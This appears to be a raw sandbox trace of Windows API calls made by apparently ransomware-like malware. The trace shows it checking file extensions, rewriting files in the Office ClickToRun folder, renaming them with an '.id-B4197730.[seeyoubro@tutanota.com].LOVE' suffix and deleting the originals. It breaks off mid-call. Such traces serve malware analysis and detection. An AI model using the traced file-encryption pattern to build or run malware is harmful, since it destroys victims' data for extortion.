returned 0xffffffff [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.645] lstrlenW (lpString=".doc") returned 4 [0209.645] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString=".docx") returned 5 [0209.645] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0209.645] lstrlenW (lpString=".pdf") returned 4 [0209.645] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString=".xls") returned 4 [0209.645] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString=".xlsx") returned 5 [0209.645] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0209.645] lstrlenW (lpString=".ppt") returned 4 [0209.645] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.645] lstrlenW (lpString=".zip") returned 4 [0209.645] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString=".rar") returned 4 [0209.645] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.645] lstrlenW (lpString=".bz2") returned 4 [0209.645] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.645] lstrlenW (lpString=".7z") returned 3 [0209.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.645] lstrlenW (lpString=".dbf") returned 4 [0209.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".1cd") returned 4 [0209.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".jpg") returned 4 [0209.646] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".doc") returned 4 [0209.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString=".docx") returned 5 [0209.646] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0209.646] lstrlenW (lpString=".pdf") returned 4 [0209.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString=".xls") returned 4 [0209.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString=".xlsx") returned 5 [0209.646] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0209.646] lstrlenW (lpString=".ppt") returned 4 [0209.646] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".zip") returned 4 [0209.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString=".rar") returned 4 [0209.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.646] lstrlenW (lpString=".bz2") returned 4 [0209.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.646] lstrlenW (lpString=".7z") returned 3 [0209.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".dbf") returned 4 [0209.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".1cd") returned 4 [0209.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0209.646] lstrlenW (lpString=".jpg") returned 4 [0209.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.647] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.647] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0209.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.647] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1402584) returned 1 [0209.647] CloseHandle (hObject=0x384) returned 1 [0209.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0209.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.647] lstrlenW (lpString=".doc") returned 4 [0209.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.647] lstrlenW (lpString=".docx") returned 5 [0209.647] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0209.647] lstrlenW (lpString=".pdf") returned 4 [0209.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString=".xls") returned 4 [0209.648] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString=".xlsx") returned 5 [0209.648] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0209.648] lstrlenW (lpString=".ppt") returned 4 [0209.648] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString=".zip") returned 4 [0209.648] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString=".rar") returned 4 [0209.648] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString=".bz2") returned 4 [0209.648] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.648] lstrlenW (lpString=".7z") returned 3 [0209.648] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString=".dbf") returned 4 [0209.648] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString=".1cd") returned 4 [0209.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString=".jpg") returned 4 [0209.648] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.648] lstrlenW (lpString=".doc") returned 4 [0209.648] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.648] lstrlenW (lpString=".docx") returned 5 [0209.648] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0209.648] lstrlenW (lpString=".pdf") returned 4 [0209.648] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.649] lstrlenW (lpString=".xls") returned 4 [0209.649] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.649] lstrlenW (lpString=".xlsx") returned 5 [0209.649] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0209.649] lstrlenW (lpString=".ppt") returned 4 [0209.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.649] lstrlenW (lpString=".zip") returned 4 [0209.649] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.649] lstrlenW (lpString=".rar") returned 4 [0209.649] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.649] lstrlenW (lpString=".bz2") returned 4 [0209.649] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.649] lstrlenW (lpString=".7z") returned 3 [0209.649] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.649] lstrlenW (lpString=".dbf") returned 4 [0209.649] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.649] lstrlenW (lpString=".1cd") returned 4 [0209.649] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0209.649] lstrlenW (lpString=".jpg") returned 4 [0209.649] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.649] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.649] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0209.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.650] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1761448) returned 1 [0209.650] CloseHandle (hObject=0x384) returned 1 [0209.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0209.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0209.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.651] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0x0) returned 1 [0209.651] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0209.651] ReadFile (in: hFile=0x384, lpBuffer=0x4088058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x4088058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.678] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0209.678] ReadFile (in: hFile=0x384, lpBuffer=0x40c8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x40c8058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.822] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.822] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0209.822] ReadFile (in: hFile=0x384, lpBuffer=0x4108058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x4108058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.844] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.844] WriteFile (in: hFile=0x384, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x37dfca8, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfca8*=0xc011a, lpOverlapped=0x0) returned 1 [0209.872] SetEndOfFile (hFile=0x384) returned 1 [0209.872] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43c1468 [0210.005] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0210.005] WriteFile (in: hFile=0x384, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.110] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0210.110] WriteFile (in: hFile=0x384, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.112] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0210.112] WriteFile (in: hFile=0x384, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.113] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0210.115] CloseHandle (hObject=0x384) returned 1 [0210.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0210.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.542] lstrlenW (lpString=".doc") returned 4 [0210.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.542] lstrlenW (lpString=".docx") returned 5 [0210.542] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0210.542] lstrlenW (lpString=".pdf") returned 4 [0210.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.542] lstrlenW (lpString=".xls") returned 4 [0210.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString=".xlsx") returned 5 [0210.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0210.543] lstrlenW (lpString=".ppt") returned 4 [0210.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString=".zip") returned 4 [0210.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString=".rar") returned 4 [0210.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString=".bz2") returned 4 [0210.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.543] lstrlenW (lpString=".7z") returned 3 [0210.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString=".dbf") returned 4 [0210.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString=".1cd") returned 4 [0210.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString=".jpg") returned 4 [0210.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.543] lstrlenW (lpString=".doc") returned 4 [0210.543] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString=".docx") returned 5 [0210.543] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0210.543] lstrlenW (lpString=".pdf") returned 4 [0210.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.543] lstrlenW (lpString=".xls") returned 4 [0210.544] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.544] lstrlenW (lpString=".xlsx") returned 5 [0210.544] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0210.544] lstrlenW (lpString=".ppt") returned 4 [0210.544] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.544] lstrlenW (lpString=".zip") returned 4 [0210.544] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.544] lstrlenW (lpString=".rar") returned 4 [0210.544] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.544] lstrlenW (lpString=".bz2") returned 4 [0210.544] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.544] lstrlenW (lpString=".7z") returned 3 [0210.544] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.544] lstrlenW (lpString=".dbf") returned 4 [0210.544] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.544] lstrlenW (lpString=".1cd") returned 4 [0210.544] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0210.544] lstrlenW (lpString=".jpg") returned 4 [0210.544] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.544] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0210.544] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0210.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0210.545] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=263896) returned 1 [0210.545] CloseHandle (hObject=0x384) returned 1 [0210.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0210.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0210.545] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.545] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.545] GetLastError () returned 0x0 [0210.545] ReadFile (in: hFile=0x384, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x406d8, lpOverlapped=0x0) returned 1 [0211.726] WriteFile (in: hFile=0x33c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x406e0, lpOverlapped=0x0) returned 1 [0211.731] ReadFile (in: hFile=0x384, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.731] WriteFile (in: hFile=0x33c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0211.732] SetEndOfFile (hFile=0x33c) returned 1 [0211.732] CloseHandle (hObject=0x33c) returned 1 [0211.738] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.738] SetEndOfFile (hFile=0x384) returned 1 [0211.741] CloseHandle (hObject=0x384) returned 1 [0211.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0211.742] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0212.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.743] lstrlenW (lpString=".doc") returned 4 [0212.743] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0212.744] lstrlenW (lpString=".docx") returned 5 [0212.744] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0212.744] lstrlenW (lpString=".pdf") returned 4 [0212.744] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0212.744] lstrlenW (lpString=".xls") returned 4 [0212.744] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0212.744] lstrlenW (lpString=".xlsx") returned 5 [0212.744] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0212.744] lstrlenW (lpString=".ppt") returned 4 [0212.744] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0212.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0212.744] lstrlenW (lpString=".zip") returned 4 [0212.744] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0212.744] lstrlenW (lpString=".rar") returned 4 [0212.744] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0212.744] lstrlenW 